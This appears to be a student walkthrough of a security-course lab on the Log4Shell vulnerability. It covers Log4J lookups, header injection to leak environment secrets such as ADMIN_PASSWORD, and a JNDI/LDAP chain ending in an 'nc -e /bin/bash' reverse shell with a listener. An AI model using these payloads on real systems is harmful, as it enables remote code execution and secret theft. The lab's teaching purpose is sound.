Intro to Information Security 3 | Log4J Vulnerabilitiesο
1. Log4Jο
(1) Introο
Log4J is a very popular open-source framework that allows application developers to log important messages such as program flow, program state, exceptions, etc. These messages can include user input, dynamic data, database results, etc.
Java Naming and Directory Interface (JNDI) creates a way for Java Objects to be looked up at runtime. An application only needs to know the JNDI name instead of having to have the connection details. JNDI uses Naming References if the object is too large.
Lightweight Directory Access Protocol (LDAP) provides the communication language that is required to receive and send information from directory services. It is not specific to Java. . It can be used for authentication like sending usernames/passwords or retrieving object data through a url from another server.
Log4J Lookups allow string substitution of certain strings. These are in the form of
${prefix:name}
. For example:${java:runtime}
: gives java runtime version likeJava(TM) SE Runtime Environment (build 1.7.0_67-b01) from Oracle Corporation
${java:version}
: gives java short version information likeJava version 1.7.0_67
${env:USER}
: gives the value of environment variableUSER
(2) Servers Setupο
Letβs first open three terminals in the virtual machine. In the first terminal, we should start the LDAP server by,
$ cd ~/Desktop/log4shell/target
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:4242/#Exploit"
In the second terminal, we should run the malicious server by,
$ python3 -m http.server 4242
In the last terminal, we should can use nc
command to listen to the port that we specified. For example, if we want to listen to the port 8888
, we can run,
$ nc -nlvp 8888
See what the options of nc
means from this link.
(3) Task 0: get Java versionο
We can use curl
to interact with Log4J. For example, we can run,
$ curl 'http://localhost:8080/rest/users/ping' -H 'GATECH_ID:123456789'
This will send a get request to http://localhost:8080/rest/users/ping
with the GATECH_ID
variable in the HTTP header set to 123456789
.
We can assign more information in the header like,
$ curl 'http://localhost:8080/rest/users/userlist' \
-H 'GATECH_ID:123456789' \
-H 'Accept:application/json' \
-H 'X-UserName:rcoleman8'
Then we can go and view the file log/cs6035.log
and see the logs from the server. Then we can figure out,
From the line
... INFO GET ...
, theAccept
key is assigned with valueapplication/json
From the line
... DEBUG **** ... GATECH_ID ...
, theGATECH_ID
key is assigned with value123456789
From the line
... INFO X-UserName ...
, theX-UserName
key is assigned with valuercoleman8
Now our task is to change the value of Accept
to the version of Java on the server. Recall the string substitution we have talked about above and configure the following command.
$ curl 'http://localhost:8080/rest/users/ping' \
-H 'GATECH_ID:123456789' \
-H 'Accept:application/json' \
Then we should get something in the log like,
...
[...] GET, In service method - ... - Accept: Java version 1.8.0_20
...
Remember we have at least 4 keys we can use to exploit. These are,
GATECH_ID
Content-type
Accept
X-UserName
(1) Task 1: get environment variableο
Recall again for the string substitution part and this time we have to get the value of an environment variable ADMIN_PASSWORD
. Modify the following command to construct a malicious payload,
$ curl 'http://localhost:8080/rest/users/ping' \
-H 'GATECH_ID:123456789' \
-H 'Accept:application/json' \
Then find the flag 1 in the result.
(2) Task 2: Get a shellο
If you closed the terminals in the setup stage and the ports are not available, you can try to restart the virtual machine and rerun the setups.
In this task, we will try to get a shell by log4J, and this task simply shows why this vulnerability is serious. To exploit this task, you will find this video useful.
To solve this problem, we have to open 4 terminals.
In the first terminal, we have to start the LDAP server by,
$ cd ~/Desktop/log4shell/target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:4242/#Exploit"
This will redirect LDAP to 4242
port and listen to the requests to the 1389
port.
In the second terminal, we have to go to the Flag2
directory and finish the exploit file. After that, we should compile the exploit file and make the current directory a malicious server.
To modify the exploit file Exploit.java
, the first step is to find the internal IP address of the current VM (aka. Attacker IP). We can use the following command to check it out,
$ cd Desktop/log4shell/Flag2
$ hostname -I | awk '{print $1}'
Then we have to modify the exploit file. The following line can be used to get the shell,
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash <Attacker IP> <Target Port>");
The video will help to understand the line above. Then we should compile this file by,
$ javac Exploit.java
And it will generate a Exploit.class
file and we should use it as our entry point to execute. Finally, we should make the current directory a server on the port 4242
to get the request from the LDAP server. The Target Port
is used to listen the information after we execute the exploit file. We can assign it to 8888
or 9999
or whatever we like.
In the third terminal, we should use nc
command to listen to the Target Port
we have assigned (should be 8888
or 9999
or else).
$ nc -nvlp <Target Port>
In the last terminal, we have to run our payload by curl
. It should be similar to the ones we have used in task0 and task1. The lookup should have the following structure,
${jndi:ldap://<attackerIP>:1389/<exploitFileName>}
Where 1389
is the port that the LDAP server will listen.
After we get the shell, we can use the following commands to get the flag2,
cd ../..
java -jar Flag2.jar